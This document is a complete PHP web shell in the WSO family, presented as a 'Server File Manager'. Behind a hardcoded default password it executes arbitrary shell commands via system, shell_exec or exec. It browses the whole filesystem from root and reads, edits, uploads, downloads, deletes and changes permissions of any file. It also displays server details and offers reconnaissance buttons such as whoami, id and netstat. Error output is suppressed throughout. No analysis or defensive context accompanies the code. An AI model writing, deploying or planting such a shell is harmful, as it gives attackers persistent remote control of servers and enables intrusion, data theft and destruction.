<?php
/*
 * Advanced WSO File Manager
 * Full Server Navigation with Home Button
 */

// ==================== CONFIGURATION ====================
error_reporting(0);
@set_time_limit(0);

// Password: admin (CHANGE THIS!)
$login_password = 'admin';

// ==================== AUTHENTICATION ====================
session_start();

if(!isset($_SESSION['loggedin']) || $_SESSION['loggedin'] !== true) {
    if(isset($_POST['password']) && $_POST['password'] === $login_password) {
        $_SESSION['loggedin'] = true;
    } else {
        if(isset($_POST['password'])) {
            $error = "Wrong password!";
        }
        // Show login form
        ?>
        <html>
        <head><title>Login</title>
        <style>
            body { background:#1a1a1a; color:#fff; font-family:Arial; margin:0; padding:20px; }
            .login { width:300px; margin:100px auto; padding:20px; background:#2d2d2d; border-radius:5px; }
            input { width:100%; padding:10px; margin:5px 0; background:#3d3d3d; border:1px solid #555; color:#fff; }
            button { width:100%; padding:10px; background:#007acc; border:none; color:#fff; cursor:pointer; }
            .error { color:red; text-align:center; }
        </style>
        </head>
        <body>
            <div class="login">
                <form method="post">
                    <input type="password" name="password" placeholder="Password" required autofocus>
                    <button type="submit">Login</button>
                    <?php if(isset($error)) echo '<div class="error">'.$error.'</div>'; ?>
                </form>
            </div>
        </body>
        </html>
        <?php
        exit;
    }
}

// ==================== FILE MANAGER FUNCTIONS ====================
class WSO {
    public $current_path;
    public $script_location;
    public $script_directory;
    
    public function __construct() {
        $this->script_location = realpath($_SERVER['SCRIPT_FILENAME']);
        $this->script_directory = dirname($this->script_location);
        
        // Start from script directory by default, not root
        $this->current_path = isset($_GET['path']) ? $_GET['path'] : $this->script_directory;
        
        // Security: clean path but allow full server navigation
        $this->current_path = $this->normalizePath($this->current_path);
        
        // Ensure path exists and is readable
        if(!is_dir($this->current_path)) {
            $this->current_path = $this->script_directory;
        }
    }
    
    private function normalizePath($path) {
        // Remove directory traversal attempts but allow absolute paths
        $path = str_replace(array('..', './'), '', $path);
        $path = str_replace('//', '/', $path);
        return $path ?: $this->script_directory;
    }
    
    public function getFileIcon($filename, $is_dir = false) {
        if($is_dir) {
            return '📁';
        }
        
        $extension = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
        
        $icons = [
            'php' => '🐘', 'html' => '🌐', 'htm' => '🌐', 'js' => '📜', 'css' => '🎨',
            'py' => '🐍', 'java' => '☕', 'c' => '🔧', 'cpp' => '⚙️', 'sql' => '🗄️',
            'json' => '📋', 'xml' => '📄', 'txt' => '📝', 'sh' => '⚡',
            'zip' => '📦', 'rar' => '📦', 'tar' => '📦', 'gz' => '📦', '7z' => '📦',
            'jpg' => '🖼️', 'jpeg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'bmp' => '🖼️',
            'svg' => '🖼️', 'webp' => '🖼️', 'ico' => '🖼️',
            'pdf' => '📕', 'doc' => '📘', 'docx' => '📘', 'xls' => '📗', 'xlsx' => '📗',
            'ppt' => '📙', 'pptx' => '📙', 'mp3' => '🎵', 'wav' => '🎵', 'mp4' => '🎬',
            'avi' => '🎬', 'mkv' => '🎬', 'log' => '📊', 'conf' => '⚙️', 'ini' => '⚙️'
        ];
        
        return $icons[$extension] ?? '📄';
    }
    
    public function listFiles($dir = null) {
        $dir = $dir ?: $this->current_path;
        $files = array();
        
        if(is_dir($dir) && is_readable($dir)) {
            $items = @scandir($dir);
            if($items === false) {
                return $files;
            }
            
            foreach($items as $entry) {
                if($entry == "." || $entry == "..") continue;
                
                $fullpath = $dir . '/' . $entry;
                
                // Skip if we can't read the file info
                if(!is_readable($fullpath)) continue;
                
                $is_dir = is_dir($fullpath);
                $is_script = (realpath($fullpath) === $this->script_location);
                
                $files[] = array(
                    'name' => $entry,
                    'path' => $fullpath,
                    'is_dir' => $is_dir,
                    'icon' => $this->getFileIcon($entry, $is_dir),
                    'size' => $this->formatSize($is_dir ? $this->getDirSize($fullpath) : @filesize($fullpath)),
                    'perms' => substr(sprintf('%o', @fileperms($fullpath)), -4),
                    'time' => date('Y-m-d H:i:s', @filemtime($fullpath)),
                    'is_script' => $is_script,
                    'readable' => is_readable($fullpath),
                    'writable' => is_writable($fullpath)
                );
            }
        }
        
        // Sort directories first
        usort($files, function($a, $b) {
            if($a['is_dir'] == $b['is_dir']) {
                return strcasecmp($a['name'], $b['name']);
            }
            return $a['is_dir'] ? -1 : 1;
        });
        
        return $files;
    }
    
    private function getDirSize($path) {
        $total = 0;
        if(!is_dir($path)) return 0;
        
        try {
            $files = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS)
            );
            
            foreach($files as $file) {
                if($file->isFile()) {
                    $total += $file->getSize();
                }
            }
        } catch(Exception $e) {
            // Ignore permission errors
        }
        
        return $total;
    }
    
    private function formatSize($bytes) {
        if($bytes == 0) return '0 B';
        
        $units = array('B', 'KB', 'MB', 'GB', 'TB');
        $i = floor(log($bytes, 1024));
        return round($bytes / pow(1024, $i), 2) . ' ' . $units[$i];
    }
    
    public function readFile($file) {
        if(!file_exists($file) || is_dir($file) || !is_readable($file)) {
            return false;
        }
        return @file_get_contents($file);
    }
    
    public function writeFile($file, $content) {
        if(!is_writable($file)) return false;
        return @file_put_contents($file, $content) !== false;
    }
    
    public function delete($path) {
        if(!file_exists($path)) return false;
        
        if(is_dir($path)) {
            $items = @scandir($path);
            if($items === false) return false;
            
            foreach($items as $item) {
                if($item != '.' && $item != '..') {
                    $this->delete($path . '/' . $item);
                }
            }
            return @rmdir($path);
        } else {
            return @unlink($path);
        }
    }
    
    public function rename($old, $new) {
        if(!file_exists($old) || file_exists($new)) return false;
        return @rename($old, $new);
    }
    
    public function chmod($path, $mode) {
        if(!file_exists($path)) return false;
        return @chmod($path, octdec($mode));
    }
    
    public function createFile($path) {
        if(file_exists($path)) return false;
        return @touch($path);
    }
    
    public function createDir($path) {
        if(file_exists($path)) return false;
        return @mkdir($path, 0755, true);
    }
    
    public function upload($tmp, $dest) {
        return move_uploaded_file($tmp, $dest);
    }
    
    public function getScriptInfo() {
        return [
            'path' => $this->script_location,
            'dirname' => $this->script_directory,
            'filename' => basename($this->script_location),
            'size' => $this->formatSize(filesize($this->script_location)),
            'perms' => substr(sprintf('%o', fileperms($this->script_location)), -4)
        ];
    }
    
    public function getParentDirectory($path) {
        $parent = dirname($path);
        return ($parent != $path) ? $parent : false;
    }
}

// ==================== COMMAND EXECUTION ====================
function executeCommand($cmd) {
    if(empty($cmd)) return '';
    
    if(function_exists('system')) {
        ob_start();
        @system($cmd);
        return ob_get_clean();
    } elseif(function_exists('shell_exec')) {
        return @shell_exec($cmd);
    } elseif(function_exists('exec')) {
        @exec($cmd, $output);
        return implode("\n", $output);
    } else {
        return "Command execution disabled";
    }
}

// ==================== INITIALIZE ====================
$wso = new WSO();
$action = isset($_GET['action']) ? $_GET['action'] : 'files';
$output = '';
$message = '';

// ==================== PROCESS ACTIONS ====================
if($_SERVER['REQUEST_METHOD'] == 'POST') {
    // Command execution
    if(isset($_POST['cmd'])) {
        $output = executeCommand($_POST['cmd']);
    }
    
    // File editing
    if(isset($_POST['file_content']) && isset($_POST['file_path'])) {
        if($wso->writeFile($_POST['file_path'], $_POST['file_content'])) {
            $message = "✅ File saved successfully!";
        } else {
            $message = "❌ Error saving file!";
        }
    }
    
    // File creation
    if(isset($_POST['new_file']) && !empty($_POST['new_file'])) {
        $path = $wso->current_path . '/' . $_POST['new_file'];
        if($wso->createFile($path)) {
            $message = "✅ File created successfully!";
        } else {
            $message = "❌ Error creating file!";
        }
    }
    
    // Directory creation
    if(isset($_POST['new_dir']) && !empty($_POST['new_dir'])) {
        $path = $wso->current_path . '/' . $_POST['new_dir'];
        if($wso->createDir($path)) {
            $message = "✅ Directory created successfully!";
        } else {
            $message = "❌ Error creating directory!";
        }
    }
    
    // File upload
    if(isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] == 0) {
        $dest = $wso->current_path . '/' . $_FILES['upload_file']['name'];
        if($wso->upload($_FILES['upload_file']['tmp_name'], $dest)) {
            $message = "✅ File uploaded successfully!";
        } else {
            $message = "❌ Error uploading file!";
        }
    }
    
    // Rename file
    if(isset($_POST['rename_old']) && isset($_POST['rename_new'])) {
        $old = $wso->current_path . '/' . $_POST['rename_old'];
        $new = $wso->current_path . '/' . $_POST['rename_new'];
        if($wso->rename($old, $new)) {
            $message = "✅ File renamed successfully!";
        } else {
            $message = "❌ Error renaming file!";
        }
    }
    
    // Change permissions
    if(isset($_POST['chmod_file']) && isset($_POST['chmod_mode'])) {
        $file = $wso->current_path . '/' . $_POST['chmod_file'];
        if($wso->chmod($file, $_POST['chmod_mode'])) {
            $message = "✅ Permissions changed successfully!";
        } else {
            $message = "❌ Error changing permissions!";
        }
    }
}

// Handle GET actions
if(isset($_GET['delete'])) {
    if($wso->delete($_GET['delete'])) {
        $message = "✅ Item deleted successfully!";
    } else {
        $message = "❌ Error deleting item!";
    }
}

if(isset($_GET['download'])) {
    $file = $_GET['download'];
    if(file_exists($file) && !is_dir($file) && is_readable($file)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="'.basename($file).'"');
        header('Content-Length: ' . filesize($file));
        readfile($file);
        exit;
    }
}

if(isset($_GET['logout'])) {
    session_destroy();
    header('Location: ' . $_SERVER['PHP_SELF']);
    exit;
}

// Get parent directory for navigation
$parent_directory = $wso->getParentDirectory($wso->current_path);
?>
<html>
<head>
<title>Server File Manager</title>
<meta charset="UTF-8">
<style>
* { margin:0; padding:0; box-sizing:border-box; }
body { background:#1e1e1e; color:#ccc; font:13px 'Segoe UI', Arial, sans-serif; }

.header { 
    background:#2d2d2d; 
    padding:12px 15px; 
    border-bottom:1px solid #444;
    display: flex;
    justify-content: space-between;
    align-items: center;
}
.script-location {
    background: #007acc;
    color: white;
    padding: 6px 12px;
    border-radius: 4px;
    font-size: 12px;
    font-weight: bold;
}
.nav { background:#252525; padding:8px; border-bottom:1px solid #333; }
.nav a { 
    color:#007acc; 
    text-decoration:none; 
    margin:0 8px; 
    padding:6px 12px; 
    border-radius:3px;
    transition: all 0.3s;
}
.nav a:hover { background:#007acc; color:#fff; }
.nav a.active { background:#007acc; color:#fff; }

.container { padding:15px; max-width:1400px; margin:0 auto; }
.panel { background:#2d2d2d; border:1px solid #444; margin:10px 0; border-radius:5px; overflow:hidden; }
.panel-header { background:#252525; padding:12px 15px; border-bottom:1px solid #444; font-weight:bold; }
.panel-content { padding:15px; }

input, textarea, select { 
    background:#3d3d3d; 
    border:1px solid #555; 
    color:#fff; 
    padding:8px 12px; 
    margin:4px;
    border-radius:4px;
    font-family:inherit;
}
button { 
    background:#007acc; 
    border:none; 
    color:#fff; 
    padding:8px 16px; 
    cursor:pointer;
    margin:4px;
    border-radius:4px;
    transition: background 0.3s;
}
button:hover { background:#005a9e; }
.btn-small { padding:5px 10px; font-size:12px; }
.btn-danger { background:#d32f2f; }
.btn-danger:hover { background:#b71c1c; }
.btn-success { background:#388e3c; }
.btn-success:hover { background:#2e7d32; }
.btn-warning { background:#ff9800; color:#000; }
.btn-warning:hover { background:#f57c00; }

table { width:100%; border-collapse:collapse; font-size:12px; }
th { background:#252525; padding:10px 12px; text-align:left; border:1px solid #444; font-weight:600; }
td { padding:8px 12px; border:1px solid #444; }
tr:hover { background:#252525; }

.file-list a { color:#007acc; text-decoration:none; }
.file-list a:hover { color:#fff; text-decoration:underline; }

.terminal { 
    background:#000; 
    color:#0f0; 
    padding:15px; 
    font-family:'Courier New', monospace;
    height:350px;
    overflow:auto;
    border-radius:4px;
}

.breadcrumb { 
    background:#252525; 
    padding:10px 15px; 
    margin-bottom:15px; 
    border-radius:4px;
    font-size:13px;
    display: flex;
    align-items: center;
    flex-wrap: wrap;
    gap: 10px;
}
.breadcrumb a { color:#007acc; text-decoration:none; }
.breadcrumb a:hover { text-decoration:underline; }
.breadcrumb-separator { color:#666; }

.message { 
    background:#4caf50; 
    color:#fff; 
    padding:12px 15px; 
    margin:10px 0; 
    border-radius:4px;
    font-weight:500;
}
.message.error { background:#f44336; }

.file-icon { 
    font-size: 14px; 
    margin-right: 8px; 
    display: inline-block;
    width: 20px;
    text-align: center;
}
.script-highlight {
    background: rgba(0, 122, 204, 0.2) !important;
    border-left: 3px solid #007acc;
}
.quick-actions {
    display: flex;
    gap: 10px;
    margin: 15px 0;
    flex-wrap: wrap;
}
.path-input {
    display: flex;
    gap: 10px;
    margin-bottom: 15px;
}
.path-input input {
    flex: 1;
}
.navigation-buttons {
    display: flex;
    gap: 10px;
    margin-bottom: 15px;
}
.nav-btn {
    display: flex;
    align-items: center;
    gap: 5px;
    padding: 8px 12px;
    background: #007acc;
    color: white;
    text-decoration: none;
    border-radius: 4px;
    font-size: 12px;
    transition: background 0.3s;
}
.nav-btn:hover {
    background: #005a9e;
    color: white;
}
.nav-btn.home { background: #388e3c; }
.nav-btn.home:hover { background: #2e7d32; }
.nav-btn.back { background: #ff9800; color: #000; }
.nav-btn.back:hover { background: #f57c00; }
.nav-btn.script { background: #9c27b0; }
.nav-btn.script:hover { background: #7b1fa2; }

.permission-badge {
    font-size: 10px;
    padding: 2px 6px;
    border-radius: 3px;
    margin-left: 5px;
}
.readable { background: #388e3c; color: white; }
.writable { background: #ff9800; color: black; }
.script-badge { background: #007acc; color: white; }
</style>
</head>
<body>

<div class="header">
    <div>
        <strong>🚀 Server File Manager</strong> | 
        PHP: <?php echo PHP_VERSION; ?> | 
        User: <?php echo get_current_user(); ?>
    </div>
    <div class="script-location">
        📍 Script: <?php echo htmlspecialchars(basename($wso->script_location)); ?>
    </div>
</div>

<div class="nav">
    <a href="?action=files&path=<?php echo urlencode($wso->current_path); ?>" class="<?php echo $action=='files'?'active':''; ?>">📁 File Manager</a>
    <a href="?action=console" class="<?php echo $action=='console'?'active':''; ?>">💻 Command Console</a>
    <a href="?action=info" class="<?php echo $action=='info'?'active':''; ?>">ℹ️ Server Info</a>
    <a href="?logout=1" style="color:#ff4444; margin-left:auto;">🚪 Logout</a>
</div>

<div class="container">
    <?php if($message): ?>
        <div class="message"><?php echo $message; ?></div>
    <?php endif; ?>

    <!-- SCRIPT LOCATION INFO (Always visible) -->
    <div class="panel">
        <div class="panel-header">📍 Script Location Information</div>
        <div class="panel-content">
            <?php $script_info = $wso->getScriptInfo(); ?>
            <div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 15px;">
                <div><strong>Full Path:</strong> <?php echo htmlspecialchars($script_info['path']); ?></div>
                <div><strong>Directory:</strong> <?php echo htmlspecialchars($script_info['dirname']); ?></div>
                <div><strong>Size:</strong> <?php echo $script_info['size']; ?></div>
                <div><strong>Permissions:</strong> <?php echo $script_info['perms']; ?></div>
            </div>
        </div>
    </div>

    <?php if($action == 'files'): ?>
        <!-- FILE MANAGER -->
        <div class="panel">
            <div class="panel-header">
                📁 File Manager - Current Path: <?php echo htmlspecialchars($wso->current_path); ?>
            </div>
            <div class="panel-content">
                <!-- Navigation Buttons -->
                <div class="navigation-buttons">
                    <a href="?action=files&path=/" class="nav-btn home">🏠 Home (Root)</a>
                    <a href="?action=files&path=<?php echo urlencode($wso->script_directory); ?>" class="nav-btn script">📁 Script Directory</a>
                    <?php if($parent_directory): ?>
                        <a href="?action=files&path=<?php echo urlencode($parent_directory); ?>" class="nav-btn back">⬅️ Back (Parent)</a>
                    <?php endif; ?>
                </div>

                <!-- Path Navigation -->
                <div class="path-input">
                    <input type="text" id="pathInput" value="<?php echo htmlspecialchars($wso->current_path); ?>" 
                           placeholder="/full/path/to/directory" style="flex:1;">
                    <button onclick="navigateToPath()">📁 Go</button>
                </div>
                
                <!-- Breadcrumb -->
                <div class="breadcrumb">
                    <a href="?action=files&path=/">🏠 Root</a>
                    <span class="breadcrumb-separator">→</span>
                    <a href="?action=files&path=<?php echo urlencode($wso->script_directory); ?>">📁 Script Directory</a>
                    <?php
                    $path = $wso->current_path;
                    if($path != $wso->script_directory && $path != '/') {
                        $relative_path = str_replace($wso->script_directory, '', $path);
                        $parts = array_filter(explode('/', $relative_path));
                        $current = $wso->script_directory;
                        foreach($parts as $part) {
                            if($part) {
                                $current .= '/' . $part;
                                echo '<span class="breadcrumb-separator">→</span>';
                                echo '<a href="?action=files&path=' . urlencode($current) . '">' . $part . '</a>';
                            }
                        }
                    }
                    ?>
                </div>
                
                <!-- Quick Actions -->
                <div class="quick-actions">
                    <form method="post" style="display:inline;">
                        <input type="text" name="new_file" placeholder="New file name" required>
                        <button type="submit" class="btn-success">📄 Create File</button>
                    </form>
                    <form method="post" style="display:inline;">
                        <input type="text" name="new_dir" placeholder="New directory name" required>
                        <button type="submit" class="btn-success">📁 Create Directory</button>
                    </form>
                    <form method="post" enctype="multipart/form-data" style="display:inline;">
                        <input type="file" name="upload_file" required>
                        <button type="submit" class="btn-success">📤 Upload File</button>
                    </form>
                </div>
                
                <!-- File List -->
                <table class="file-list">
                    <thead>
                        <tr>
                            <th>Name</th>
                            <th>Size</th>
                            <th>Permissions</th>
                            <th>Modified</th>
                            <th>Actions</th>
                        </tr>
                    </thead>
                    <tbody>
                        <?php
                        $files = $wso->listFiles();
                        if(empty($files)):
                        ?>
                        <tr>
                            <td colspan="5" style="text-align:center; padding:30px; color:#888;">
                                📭 Directory is empty or not accessible
                            </td>
                        </tr>
                        <?php else: ?>
                            <?php foreach($files as $file): ?>
                            <tr class="<?php echo $file['is_script'] ? 'script-highlight' : ''; ?>">
                                <td>
                                    <span class="file-icon"><?php echo $file['icon']; ?></span>
                                    <?php if($file['is_dir']): ?>
                                        <a href="?action=files&path=<?php echo urlencode($file['path']); ?>">
                                            <?php echo htmlspecialchars($file['name']); ?>
                                        </a>
                                    <?php else: ?>
                                        <?php echo htmlspecialchars($file['name']); ?>
                                    <?php endif; ?>
                                    
                                    <?php if($file['is_script']): ?>
                                        <span class="permission-badge script-badge">THIS SCRIPT</span>
                                    <?php endif; ?>
                                    <?php if($file['readable']): ?>
                                        <span class="permission-badge readable">R</span>
                                    <?php endif; ?>
                                    <?php if($file['writable']): ?>
                                        <span class="permission-badge writable">W</span>
                                    <?php endif; ?>
                                </td>
                                <td><?php echo $file['size']; ?></td>
                                <td><code><?php echo $file['perms']; ?></code></td>
                                <td><?php echo $file['time']; ?></td>
                                <td>
                                    <div style="display: flex; gap: 5px; flex-wrap: wrap;">
                                        <?php if(!$file['is_dir']): ?>
                                            <a href="?action=edit&file=<?php echo urlencode($file['path']); ?>" class="btn-small">✏️ Edit</a>
                                            <a href="?download=<?php echo urlencode($file['path']); ?>" class="btn-small btn-success">📥 Download</a>
                                        <?php endif; ?>
                                        <button class="btn-small" onclick="renameFile('<?php echo htmlspecialchars($file['name']); ?>')">🔄 Rename</button>
                                        <button class="btn-small" onclick="chmodFile('<?php echo htmlspecialchars($file['name']); ?>')">🔒 Chmod</button>
                                        <a href="?action=files&delete=<?php echo urlencode($file['path']); ?>" 
                                           class="btn-small btn-danger" 
                                           onclick="return confirm('Delete <?php echo htmlspecialchars($file['name']); ?>?')">🗑️ Delete</a>
                                    </div>
                                </td>
                            </tr>
                            <?php endforeach; ?>
                        <?php endif; ?>
                    </tbody>
                </table>
            </div>
        </div>
        
    <?php elseif($action == 'console'): ?>
        <!-- COMMAND CONSOLE -->
        <div class="panel">
            <div class="panel-header">💻 Command Console</div>
            <div class="panel-content">
                <form method="post">
                    <div style="display: flex; gap: 10px; margin-bottom: 15px;">
                        <input type="text" name="cmd" value="<?php echo htmlspecialchars($_POST['cmd'] ?? 'pwd'); ?>" 
                               placeholder="Enter command" style="flex: 1;" id="cmdInput">
                        <button type="submit">▶️ Execute</button>
                    </div>
                </form>
                
                <?php if($output): ?>
                <div class="terminal">
                    <pre><?php echo htmlspecialchars($output); ?></pre>
                </div>
                <?php endif; ?>
                
                <!-- Quick Commands -->
                <div style="margin-top: 15px;">
                    <strong>Quick Commands:</strong>
                    <div style="display: flex; flex-wrap: wrap; gap: 5px; margin-top: 10px;">
                        <button class="btn-small" onclick="setCommand('pwd')">📍 pwd</button>
                        <button class="btn-small" onclick="setCommand('ls -la')">📁 ls -la</button>
                        <button class="btn-small" onclick="setCommand('whoami')">👤 whoami</button>
                        <button class="btn-small" onclick="setCommand('id')">🆔 id</button>
                        <button class="btn-small" onclick="setCommand('uname -a')">💻 uname -a</button>
                        <button class="btn-small" onclick="setCommand('df -h')">💾 df -h</button>
                        <button class="btn-small" onclick="setCommand('ps aux')">⚙️ ps aux</button>
                        <button class="btn-small" onclick="setCommand('netstat -tulpn')">🌐 netstat</button>
                    </div>
                </div>
            </div>
        </div>
        
    <?php elseif($action == 'info'): ?>
        <!-- SERVER INFO -->
        <div class="panel">
            <div class="panel-header">ℹ️ Server Information</div>
            <div class="panel-content">
                <?php
                $server_info = [
                    'php_version' => PHP_VERSION,
                    'server_software' => $_SERVER['SERVER_SOFTWARE'] ?? 'N/A',
                    'server_os' => php_uname(),
                    'current_user' => get_current_user(),
                    'disk_total' => $wso->formatSize(@disk_total_space("/")),
                    'disk_free' => $wso->formatSize(@disk_free_space("/")),
                    'script_memory' => $wso->formatSize(memory_get_usage(true))
                ];
                ?>
                <div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(300px, 1fr)); gap: 20px;">
                    <div>
                        <h4 style="margin-bottom: 15px; color: #007acc;">📊 System Information</h4>
                        <table>
                            <?php foreach($server_info as $key => $value): ?>
                            <tr>
                                <td><strong><?php echo ucfirst(str_replace('_', ' ', $key)); ?>:</strong></td>
                                <td><?php echo $value; ?></td>
                            </tr>
                            <?php endforeach; ?>
                        </table>
                    </div>
                    <div>
                        <h4 style="margin-bottom: 15px; color: #007acc;">🔧 PHP Configuration</h4>
                        <table>
                            <tr><td><strong>Memory Limit:</strong></td><td><?php echo ini_get('memory_limit'); ?></td></tr>
                            <tr><td><strong>Max Execution Time:</strong></td><td><?php echo ini_get('max_execution_time'); ?>s</td></tr>
                            <tr><td><strong>Upload Max Filesize:</strong></td><td><?php echo ini_get('upload_max_filesize'); ?></td></tr>
                            <tr><td><strong>Post Max Size:</strong></td><td><?php echo ini_get('post_max_size'); ?></td></tr>
                            <tr><td><strong>Disabled Functions:</strong></td><td><?php echo ini_get('disable_functions') ?: 'None'; ?></td></tr>
                        </table>
                    </div>
                </div>
            </div>
        </div>
        
    <?php elseif($action == 'edit' && isset($_GET['file'])): ?>
        <!-- FILE EDITOR -->
        <div class="panel">
            <div class="panel-header">
                ✏️ Editing: <?php echo htmlspecialchars($_GET['file']); ?>
                <a href="?action=files&path=<?php echo urlencode(dirname($_GET['file'])); ?>" style="float:right;color:#fff;">← Back to Files</a>
            </div>
            <div class="panel-content">
                <?php
                $file_content = $wso->readFile($_GET['file']);
                if($file_content === false):
                ?>
                    <div class="message error">❌ Error reading file or file not accessible</div>
                <?php else: ?>
                    <form method="post">
                        <input type="hidden" name="file_path" value="<?php echo htmlspecialchars($_GET['file']); ?>">
                        <textarea name="file_content" style="width:100%; height:500px; font-family: 'Courier New', monospace; font-size:14px; resize:vertical;"><?php echo htmlspecialchars($file_content); ?></textarea>
                        <div style="margin-top: 15px;">
                            <button type="submit" class="btn-success">💾 Save File</button>
                            <a href="?action=files&path=<?php echo urlencode(dirname($_GET['file'])); ?>">
                                <button type="button">❌ Cancel</button>
                            </a>
                        </div>
                    </form>
                <?php endif; ?>
            </div>
        </div>
        
    <?php endif; ?>
</div>

<script>
function navigateToPath() {
    var path = document.getElementById('pathInput').value;
    if(path) {
        window.location.href = '?action=files&path=' + encodeURIComponent(path);
    }
}

function setCommand(cmd) {
    document.getElementById('cmdInput').value = cmd;
    document.getElementById('cmdInput').focus();
}

function renameFile(oldName) {
    var newName = prompt('Enter new name:', oldName);
    if(newName && newName !== oldName) {
        var form = document.createElement('form');
        form.method = 'POST';
        form.innerHTML = '<input type="hidden" name="rename_old" value="' + oldName + '">' +
                         '<input type="hidden" name="rename_new" value="' + newName + '">';
        document.body.appendChild(form);
        form.submit();
    }
}

function chmodFile(fileName) {
    var mode = prompt('Enter permissions (e.g., 755):', '644');
    if(mode && /^[0-7]{3}$/.test(mode)) {
        var form = document.createElement('form');
        form.method = 'POST';
        form.innerHTML = '<input type="hidden" name="chmod_file" value="' + fileName + '">' +
                         '<input type="hidden" name="chmod_mode" value="' + mode + '">';
        document.body.appendChild(form);
        form.submit();
    }
}

// Event listeners
document.addEventListener('DOMContentLoaded', function() {
    // Path input enter key
    var pathInput = document.getElementById('pathInput');
    if(pathInput) {
        pathInput.addEventListener('keypress', function(e) {
            if(e.key === 'Enter') navigateToPath();
        });
        pathInput.focus();
        pathInput.select();
    }
    
    // Auto-focus command input
    var cmdInput = document.getElementById('cmdInput');
    if(cmdInput) {
        cmdInput.focus();
        cmdInput.select();
    }
    
    // Auto-hide messages after 5 seconds
    setTimeout(function() {
        var messages = document.querySelectorAll('.message');
        messages.forEach(function(msg) {
            msg.style.display = 'none';
        });
    }, 5000);
});

// Terminal auto-scroll
var terminal = document.querySelector('.terminal');
if(terminal) {
    terminal.scrollTop = terminal.scrollHeight;
}
</script>

</body>
</html>